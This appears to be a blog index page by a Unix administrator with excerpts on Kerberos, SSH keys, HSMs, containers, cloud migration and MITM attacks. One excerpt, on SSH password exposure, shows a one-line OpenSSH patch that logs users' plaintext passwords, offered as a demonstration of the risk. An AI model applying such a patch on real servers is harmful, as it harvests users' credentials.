Ramblings of a Unix Geek

I've been doing this for a long time... I ramble!

Kerberos keytab management

In an earlier blog I wrote that SSH keys need to be managed. It’s important! In the comments I was asked about keytabs. I felt this such a good question that it deserved it’s own blog entry. The basics of Kerberos auth In essence, kerberos is a “ticket based” authentication scheme. You start by requesting a TGT (“Ticket granting ticket”). This, typically, is where you enter your password. This TGT is then used to request service tickets to access resources.

SSH Password exposure

Over on the Unix/Linux Stackexchange someone asked if ssh’ing to the wrong machine could cause their password to be exposed. I answered “yes”… and was surprised to see the answer get over 140 upvotes. Demonstration So it seems as if there’s some interest in this. I decided to demonstrate this risk in a short practical session. Let’s start with a generic CentOS 7 install. It’s got nothing special on it. We want to replace sshd with a modified one that has a one line change: *** openssh-7.3p1.orig/auth-passwd.c Wed Jul 27 18:54:27 2016 --- openssh-7.3p1/auth-passwd.c Sat Sep 17 19:34:41 2016 *************** *** 84,89 **** --- 84,90 ---- auth_password(Authctxt *authctxt, const char *password) { struct passwd * pw = authctxt->pw; + logit("User %s Password %s",pw->pw_name,password); int result, ok = authctxt->valid; #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE) static int expire_checked = 0; We build this and copy the sshd over the top of the original.

HSMs, what are they good for?

What is a HSM? A HSM is a hardware device that can perform cryptographic functions in a “secure” manner. The idea is that you can load your private key into a HSM and be sure that it’s safe from theft. Anyone tries to physical access the device and it’ll wipe (or literally burn) the data. So encryption or signing of data can be trusted because only the HSM has the key needed to do the crypto.

SSH key management

SSH is probably the most common method of logging into Unix machines over a network connection. It has pretty much replaced the older telnet and rlogin protocols because it encrypts data over the network and has other “goodness”. However one of the “good” parts of ssh is probably the least well managed; ssh keys. What is an ssh key? When attempting to login to a server, ssh will attempt multiple different authenticators.

Single point of truth

Something I’ve been pushing (and this is pretty much a truism amongst anyone who’s looked at “Cloud”) is the idea of automation. It doesn’t matter if you’re just treating the cloud as an outsourced datacenter or if you’re doing full 12-factor dynamically scalable apps. Automation is the key to consitency and control. So, ideally, this means your automation system is the “single point of truth” for your estate. Whether you use ansible or chef or (saints preserve us) cfengine, your configuration file explicitly defines your target state.

Building an OS container

In a previous blog entry I described some of the controls that are needed if you want to use a container as a VM. Essentially, if you want to use it as a VM then you must treat it as a VM. This means that all your containers should have the same baseline as your VM OS, the same configuration, the same security policies. Fortunately we can take a VM and convert it into a container.

Using a container as a lightweight VM

In a lot of this blog I have been pushing for the use of containers as an “application execution environment”. You only put the minimal necessary stuff inside the container, treat them as immutable images, never login to them… the sort of thing that’s perfect for 12 factor application. However there are other ways of using containers. The other main version is to treat a container as a light-weight VM. Sometimes this is called “OS container” because you’ve got a complete OS (except the kernel) here, and you treat it as if it was an OS.

Lift and Shift

A phrase you might hear around cloud computing is lift and shift. In this model you effectively take your existing application and move it, wholesale, into a cloud environment such as Amazon EC2. There’s no re-architecting of the application; there’s no application redesign. This make it very quick and very easy to move into the cloud. It’s not much different to a previous p2v (physical to virtual) activity that companies performed when migration to virtual servers (eg VMware ESX).

Persistent data

In this glorious new world I’ve been writing about, applications are non persistent. They spin up and are destroyed at will. They have no state in them. They can be rebuilt, scaled out, migrated, replaced and your application shouldn’t notice… if written properly! But applications are pointless if they don’t have data to work on. In traditional compute an app is associated with a machine (or set of machines). These machines have filesystems.

Man in the middle attacks

A fair number of security advisories mention Man In The Middle (MITM) attacks. It’s quite an evocative phrase, but it’s a phrase meant mainly for the infosec community; it doesn’t help your typical end user understand the risks. So what is a MITM attack, and how can I avoid becoming a victim? Before we get into technology let’s look at something we all know about; the boring snail mail postal system.